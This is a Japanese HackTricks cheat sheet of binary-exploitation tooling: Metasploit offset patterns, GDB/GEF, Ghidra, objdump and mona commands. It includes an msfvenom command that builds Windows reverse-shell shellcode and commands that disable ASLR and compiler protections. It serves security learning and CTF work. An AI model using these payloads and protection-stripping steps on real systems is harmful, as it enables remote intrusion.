.. | ||
pwntools.md | ||
README.md |
Exploiting Tools
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Family、当社の独占的な NFTs コレクションを発見する
- 💬 Discordグループ に参加するか、telegramグループ に参加するか、Twitter 🐦 で @hacktricks_live をフォローする
- ハッキングトリックを共有するためにPRを送信して HackTricks と HackTricks Cloud のGitHubリポジトリに
Metasploit
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
シェルコード
{% code overflow="wrap" %}
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
{% endcode %}
GDB
インストール
apt-get install gdb
パラメータ
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
手順
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
GEF
このGEFのフォークを使用することもできます。これにはより興味深い命令が含まれています。
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
テクニック
GDBで同じアドレス
デバッグ中には、GDBは実行時にバイナリで使用されるアドレスとはわずかに異なる場合があります。 GDBに同じアドレスを持たせるには、次のようにします:
unset env LINES
unset env COLUMNS
set env _=<path>
バイナリへの絶対パスを入力します- 同じ絶対パスを使用してバイナリをエクスプロイトします
- GDBを使用しているときとバイナリをエクスプロイトしているときには、
PWD
とOLDPWD
が同じである必要があります
関数呼び出しを見つけるためのバックトレース
静的にリンクされたバイナリの場合、すべての関数はバイナリに属しています(外部ライブラリではありません)。この場合、バイナリがユーザー入力を要求するためにたどるフローを特定するのは難しいでしょう。
gdbを使用してバイナリを実行し、入力を求められるまで実行します。その後、CTRL+Cで停止し、bt
(バックトレース)コマンドを使用して呼び出された関数を確認できます:
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
GDB サーバー
gdbserver --multi 0.0.0.0:23947
(IDAでは、Linux マシンとWindows マシンの実行可能ファイルの絶対パスを入力する必要があります)
Ghidra
スタックオフセットの検索
Ghidra は、ローカル変数の位置情報によってバッファオーバーフローのための オフセット を見つけるのに非常に役立ちます。
たとえば、以下の例では、local_bc
でのバッファフローは、0xbc
のオフセットが必要であることを示しています。さらに、local_10
がキャナリーコンキーである場合、local_bc
からそれを上書きするためのオフセットは 0xac
であることを示しています。
RIP が保存される最初の 0x08 が RBP に属していることを覚えておいてください。
qtool
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
プログラムで実行されるすべてのオペコードを取得します。
GCC
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> 保護を無効にしてコンパイル
-o --> 出力
-g --> コードを保存(GDB で表示可能)
echo 0 > /proc/sys/kernel/randomize_va_space --> Linux で ASLR を無効にする
シェルコードをコンパイルする方法:
nasm -f elf assembly.asm --> ".o" を返す
ld assembly.o -o shellcodeout --> 実行可能ファイル
Objdump
-d --> 実行可能ファイルのセクションを逆アセンブル(コンパイルされたシェルコードのオペコードを表示、ROP ガジェットを見つける、関数アドレスを見つけるなど)
-Mintel --> Intel 構文
-t --> シンボルテーブル
-D --> すべてを逆アセンブル(静的変数のアドレス)
-s -j .dtors --> dtors セクション
-s -j .got --> got セクション
-D -s -j .plt --> plt セクションを逆コンパイル
-TR --> リロケーション
ojdump -t --dynamic-relo ./exec | grep puts --> GOT 内の "puts" の変更するアドレス
objdump -D ./exec | grep "VAR_NAME" --> 静的変数のアドレス(これらは DATA セクションに保存されます)。
Core dumps
- プログラムを開始する前に
ulimit -c unlimited
を実行します sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
を実行しますsudo gdb --core=\<path/core> --quiet
を実行します
その他
ldd executable | grep libc.so.6 --> アドレス(ASLR の場合、毎回変わります)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> アドレスが大幅に変化するかどうかを確認するためのループ
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> "system" のオフセット
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> "/bin/sh" のオフセット
strace executable --> 実行可能ファイルが呼び出す関数
rabin2 -i ejecutable --> すべての関数のアドレス
Inmunity debugger
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
IDA
リモートLinuxでのデバッグ
IDAフォルダの中には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、linux_server
またはlinux_server64
バイナリをLinuxサーバー内に移動し、バイナリが含まれるフォルダ内で実行します。
./linux_server64 -Ppass
その後、デバッガーを設定します:デバッガー(linux remote)→プロセスオプション...:
htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローする
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。